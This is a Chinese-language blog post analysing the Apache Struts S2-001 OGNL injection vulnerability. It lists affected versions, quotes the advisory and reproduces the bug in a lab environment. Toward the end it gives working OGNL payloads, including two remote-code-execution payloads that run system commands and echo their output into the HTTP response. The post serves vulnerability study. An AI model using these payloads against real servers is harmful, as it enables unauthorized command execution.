Apache Struts系列 s2-001漏洞分析

MCtech 261 0

一直想写,但要学的太多,没办法静下来分析,刚好趁着居家办公,分析分析,但是还没涉及到具体代码调用链,所以算是比较失败的一次写作,此次尝试固定写法,以及规范写文的测试。后期应该会完善此文

Apache Struts系列 s2-001漏洞分析

什么是Struts

Apache Struts 是一个免费的开源 MVC 框架,用于创建优雅的现代 Java Web 应用程序。它有利于约定优于配置,可使用插件架构进行扩展,并附带支持 REST、AJAX 和 JSON 的插件。

什么是Struts 2

个人看法是struts 2系列版本 官方对struts 版本划分很奇怪,从2.x.x开始,后续都是2开头的版本迭代,后面忽略345开头,直接就到6.0.x开头了
所以我们之前的struts2 就是struts 系列的漏洞 现有的一些洞 s2-0xx 是struts官方给的编号所以称谓解释差不多就这样

Struts 2 漏洞一览

漏洞表格 1 漏洞编号 影响版本
S2-001 Struts 2.0.0 - 2.0.8
S2-005 Struts 2.0.0-2.1.8.1
S2-007 Struts 2.0.0 - 2.2.3
S2-008 Struts 2.1.0 – 2.3.1
S2-009 Struts 2.1.0 - 2.3.1.1
S2-012 Struts 2.1.0-2.3.13
S2-015 Struts 2.0.0 - 2.3.14.2
S2-016 Struts 2.0.0 – 2.3.15
S2-019 Struts 2.0.0 - 2.3.15.1
S2-045 Struts2.3.5 – 2.3.31,Struts2.5 – 2.5.10
S2-048 Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本
S2-052 Struts 2.1.2 - Struts 2.3.33,Struts 2.5 - Struts 2.5.12
S2-053 Struts 2.0.1-2.3.33,Struts 2.5-2.5.10
S2-057 Struts 2.3–2.3.34,Struts2.5–2.5.16
S2-devMode 当Struts开启devMode时,该漏洞将影响Struts 2.1.0–2.5.1,通杀Struts2所有版本
S2-059 Struts 2.0.0 - Struts 2.5.20
S2-062 Apache Struts 2.0.0-2.5.29

表中只涉及大部分漏洞而非全部。

Struts 2 请求周期

深入浅出2
https://blog.csdn.net/melodysky/article/details/52381632
Apache Struts系列 s2-001漏洞分析

漏洞分析

S2-001

s2-0013 wiki如是说到

问题
WebWork 2.1+ 和 Struts 2 的“altSyntax”功能允许将 OGNL 表达式插入到文本字符串中并进行递归处理。这允许恶意用户通常通过 HTML 文本字段提交包含 OGNL 表达式的字符串,如果表单验证失败,服务器将执行该表达式。例如,假设我们有
这样的表单,要求“phoneNumber”字段不能为空:



</s:form>
用户可以将“phoneNumber”字段留空以触发验证错误,然后用 %{1+1} 填充“name”字段。当表单重新显示给用户时,“名称”字段的值将为“2”。原因是值字段在默认情况下被处理为 %{name},并且由于 OGNL 表达式是递归计算的,因此它的计算就像表达式是 %{%{1+1}} 一样。
OGNL 解析代码实际上是在 XWork 中,而不是在 WebWork 2 或 Struts 2 中。

实际测试中,并没有因为不留空问题导致表达式没有执行,反而都能执行。

上面所说,OGNL 表达式是递归计算的,漏洞存在的原因是OGNL是XWork组件的功能。
提到了OGNL表达式
so 开始学OGNL表达式4:
OGNL 解析:
struts中用%{}指出,其内部是一个ognl表达式https://blog.csdn.net/weixin_42565135/article/details/89220845

复现:

环境:https://github.com/twosmi1e/S2-001

分析:
按照官方说法,任意字段留空,然后出发验证错误,使用OGNL表达式实现rce

实际测试中,并没有因为不留空问题导致表达式没有执行,反而都能执行。

payload: %{3*33}

Apache Struts系列 s2-001漏洞分析
submit
Apache Struts系列 s2-001漏洞分析
即可验证漏洞存在,如何RCE?
回归到之前的OGNL表达式

%{#runtime=@java.lang.Runtime.getRuntime(),#runtime.exec(\"open /Applications/Calculater.app\")}
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()}

Apache Struts系列 s2-001漏洞分析

参考

发表评论 取消回复
表情 图片 链接 代码

分享